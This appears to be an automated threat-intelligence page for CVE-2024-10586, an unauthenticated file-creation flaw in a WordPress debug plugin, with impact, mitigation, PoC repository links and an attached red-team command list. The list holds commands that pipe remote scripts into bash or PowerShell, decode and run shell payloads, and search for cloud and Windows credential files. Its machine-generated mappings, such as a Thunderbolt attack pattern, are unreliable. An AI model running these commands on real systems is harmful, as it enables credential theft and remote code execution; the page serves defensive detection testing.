CVE-2024-10586
Overview
This vulnerability is an arbitrary file creation flaw resulting from missing capability checks and lack of file type validation in the dbt_pull_image() function of the eugenbobrowski Debug Tool WordPress plugin. The affected component is the image pulling mechanism within the plugin, which improperly handles user input allowing file writes without verifying user privileges or sanitizing file extensions. The root cause lies in the absence of access control and file validation in all plugin versions up to and including 2.2.
Vulnerability Description
The Debug Tool plugin for WordPress is vulnerable to arbitrary file creation due to a missing capability check on the dbt_pull_image() function and missing file type validation in all versions up to, and including, 2.2. This makes it possible for unauthenticated attackers to to create arbitrary files such as .php files that can be leveraged for remote code execution. CVE-2024-52416 may be a duplicate of this issue.
Impact
An unauthenticated attacker can create arbitrary files on the web server, including executable PHP scripts, leading to remote code execution with the privileges of the web server user. No authentication or user interaction is required (AV:N/AC:L/PR:N/UI:N), making exploitation straightforward over the network. This can result in full site compromise, data theft, or persistent backdoor installation, severely impacting the confidentiality, integrity, and availability of the affected WordPress site.
Solution
Upgrade the eugenbobrowski Debug Tool WordPress plugin to a version later than 2.2 where the missing capability check and file type validation have been implemented. Refer to the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/5e9d5c93-dcd7-450e-8c52-5c95fc5473d2) for detailed patch instructions and verification. If immediate upgrade is not possible, restrict access to the plugin’s image-puller.php endpoint as a temporary mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Debug Tool plugin for WordPress stems from inadequate security checks within the dbt_pull_image() function, specifically the absence of capability verification and file type validation. This oversight allows unauthenticated users to exploit the plugin by creating arbitrary files on the server. The lack of proper checks means that an attacker can potentially upload malicious files, such as PHP scripts, which can then be executed on the server. This vulnerability exists in all versions of the plugin up to and including version 2.2, making it a critical risk for any WordPress installation utilizing this plugin.
Exploitation of this vulnerability can occur through several attack vectors. An attacker could craft a request to the vulnerable function without needing authentication, thereby bypassing any user-level restrictions. Once the arbitrary file creation is successful, the attacker can upload a malicious PHP file that could be executed by accessing it directly via a web browser. This scenario opens the door to remote code execution, allowing the attacker to gain control over the affected server. Furthermore, the ability to execute arbitrary code can lead to further compromises, such as data exfiltration, lateral movement within the network, or even complete server takeover.
The real-world impact of this vulnerability is significant, particularly for businesses relying on WordPress for their online presence. The potential for remote code execution poses a severe threat, as it can lead to unauthorized access to sensitive data, disruption of services, and damage to the organization's reputation. The financial implications can also be substantial, including costs associated with incident response, recovery efforts, and potential legal liabilities stemming from data breaches. Moreover, if an attacker uses the compromised server to launch attacks on other systems, it could further entangle the organization in a broader cybersecurity incident.
To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. Regularly updating plugins to their latest versions is crucial, as developers often release patches to address known vulnerabilities. Additionally, implementing a web application firewall (WAF) can help filter out malicious requests before they reach the vulnerable function. Monitoring server logs for unusual activity, such as unexpected file uploads or execution attempts, can also aid in early detection of exploitation attempts. Furthermore, organizations should conduct regular security audits and vulnerability assessments to identify and remediate weaknesses in their web applications proactively.
In conclusion, the vulnerability within the Debug Tool plugin for WordPress represents a critical security risk that can lead to severe consequences if left unaddressed. The combination of arbitrary file creation and remote code execution capabilities makes it imperative for organizations to take immediate action to secure their systems. By prioritizing timely updates, employing security measures, and maintaining vigilant monitoring practices, businesses can significantly reduce their exposure to this and similar vulnerabilities, thereby safeguarding their digital assets and maintaining trust with their users.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-10586, indicating increased adversary interest and potential exploitation attempts targeting the Debug Tool plugin for WordPress. This uptick, while not yet rapid or widespread, signals a growing operational focus on leveraging the arbitrary file creation vulnerability for remote code execution. The emergence of new proof-of-concept exploits further lowers the barrier for attackers, potentially broadening the pool of threat actors capable of weaponizing this flaw. Although the EPSS score remains stable and relatively low, the qualitative increase in telemetry suggests that defenders should anticipate a heightened risk environment. This evolving landscape underscores the criticality of maintaining vigilant monitoring and proactive detection capabilities to identify and respond to exploitation attempts before they escalate into impactful breaches.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2024-10586
Debug Tool <= 2.2 - Unauthenticated Arbitrary File Creation
|
RandomRobbieBF | 1 | 0 | 2024-11-10 | View |
|
Nxploited/CVE-2024-10586-Poc
|
Nxploited | 0 | 0 | 2025-01-12 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
45%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-10586 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/5e9d5c93-dcd7-450e-8c52-5c95fc5473d2?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/debug-tool/trunk/tools/image-puller.php#L120 |